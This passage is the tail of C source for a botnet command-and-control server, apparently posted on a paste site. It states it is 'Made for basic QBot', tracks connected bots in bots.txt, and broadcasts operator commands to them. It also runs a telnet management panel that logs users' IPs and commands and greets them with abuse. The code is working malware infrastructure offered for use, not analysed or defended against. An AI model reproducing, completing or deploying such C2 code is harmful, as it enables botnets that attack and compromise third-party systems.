  678.         if(strstr(buf, "CLEAR_SMALL")){
  679.         if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  680.         char small1[80];
  681.      
  682.         sprintf(small1, "\x1b[0;35m*\x1b[0;35mWelcome To NGINX. You dumbfuck.\x1b[0;36m*\r\n");
  683.        
  684.         if(send(thefd, "\x1b[0;35m*********************************\r\n", 51, MSG_NOSIGNAL) == -1) goto end;
  685.         if(send(thefd, small1, strlen(small1), MSG_NOSIGNAL) == -1) goto end;
  686.         if(send(thefd, "\x1b[0;36m*********************************\r\n\r\n~>\x1b[0m", 50, MSG_NOSIGNAL) == -1) goto end;
  687.         while(1) {
  688.         if(send(thefd, "\x1b[0;36m~> \x1b[0;36m", 13, MSG_NOSIGNAL) == -1) goto end;
  689.         break;
  690.         }
  691.         pthread_create(&title, NULL, &titleWriter, sock);
  692.         managements[thefd].connected = 1;
  693.         continue;
  694.         }
  695.        
  696.         if(strstr(buf, "LOGOUT"))
  697.         {  
  698.           sprintf(botnet, "Fuck outta here %s you dumb ass skid.\r\n", accounts[find_line].id, buf);
  699.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  700.           goto end;
  701.         }
  702.                 trim(buf);
  703.                 if(send(thefd, "\x1b[36m~> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  704.                 if(strlen(buf) == 0) continue;
  705.                 printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  706.                 FILE *logFile;
  707.                 logFile = fopen("report.log", "a");
  708.                 fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
  709.                 fclose(logFile);
  710.                 broadcast(buf, thefd, usernamez);
  711.                 memset(buf, 0, 2048);
  712.         }
  713.         end:    
  714.                 managements[thefd].connected = 0;
  715.                 close(thefd);
  716.                 managesConnected--;
  717. }
  718. void *telnetListener(int port)
  719. {    
  720.         int sockfd, newsockfd;
  721.         socklen_t clilen;
  722.         struct sockaddr_in serv_addr, cli_addr;
  723.         sockfd = socket(AF_INET, SOCK_STREAM, 0);
  724.         if (sockfd < 0) perror("ERROR opening socket");
  725.         bzero((char *) &serv_addr, sizeof(serv_addr));
  726.         serv_addr.sin_family = AF_INET;
  727.         serv_addr.sin_addr.s_addr = INADDR_ANY;
  728.         serv_addr.sin_port = htons(port);
  729.         if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  730.         listen(sockfd,5);
  731.         clilen = sizeof(cli_addr);
  732.         while(1)
  733.  
  734.         {       printf("IP logged: ");
  735.                 client_addr(cli_addr);
  736.                 FILE *logFile;
  737.                 logFile = fopen("IP.log", "a");
  738.                 fprintf(logFile, "IP:%d.%d.%d.%d\n", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  739.                 fclose(logFile);
  740.                 newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  741.                 if (newsockfd < 0) perror("ERROR on accept");
  742.                 pthread_t thread;
  743.                 pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);       }
  744. }
  745.  
  746. int main (int argc, char *argv[], void *sock)
  747. {
  748.         signal(SIGPIPE, SIG_IGN);
  749.         int s, threads, port;
  750.         struct epoll_event event;
  751.         if (argc != 4)
  752.         {
  753.                 fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  754.                 exit (EXIT_FAILURE);
  755.         }
  756.         port = atoi(argv[3]);
  757.         printf("\x1b[31mMade for basic QBot,\x1b[34m DO NOT ACT COOL, \x1b[32mNGINX \x1b[35mP2P \x1b[36mSCREENED\x1b[0m\n");
  758.         telFD = fopen("bots.txt", "a+");
  759.         threads = atoi(argv[2]);
  760.         listenFD = create_and_bind (argv[1]);
  761.         if (listenFD == -1) abort ();
  762.         s = make_socket_non_blocking (listenFD);
  763.         if (s == -1) abort ();
  764.         s = listen (listenFD, SOMAXCONN);
  765.         if (s == -1)
  766.         {
  767.                 perror ("listen");
  768.                 abort ();
  769.         }
  770.         epollFD = epoll_create1 (0);
  771.         if (epollFD == -1)
  772.         {
  773.                 perror ("epoll_create");
  774.                 abort ();
  775.         }
  776.         event.data.fd = listenFD;
  777.         event.events = EPOLLIN | EPOLLET;
  778.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  779.         if (s == -1)
  780.         {
  781.                 perror ("epoll_ctl");
  782.                 abort ();
  783.         }
  784.         pthread_t thread[threads + 2];
  785.         while(threads--)
  786.         {
  787.                 pthread_create( &thread[threads + 2], NULL, &epollEventLoop, (void *) NULL);
  788.         }
  789.         pthread_create(&thread[0], NULL, &telnetListener, port);
  790.         while(1)
  791.         {
  792.                 broadcast("PING", -1, "NGINX");
  793.                 sleep(60);
  794.         }
  795.         close (listenFD);
  796.         return EXIT_SUCCESS;
  797. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement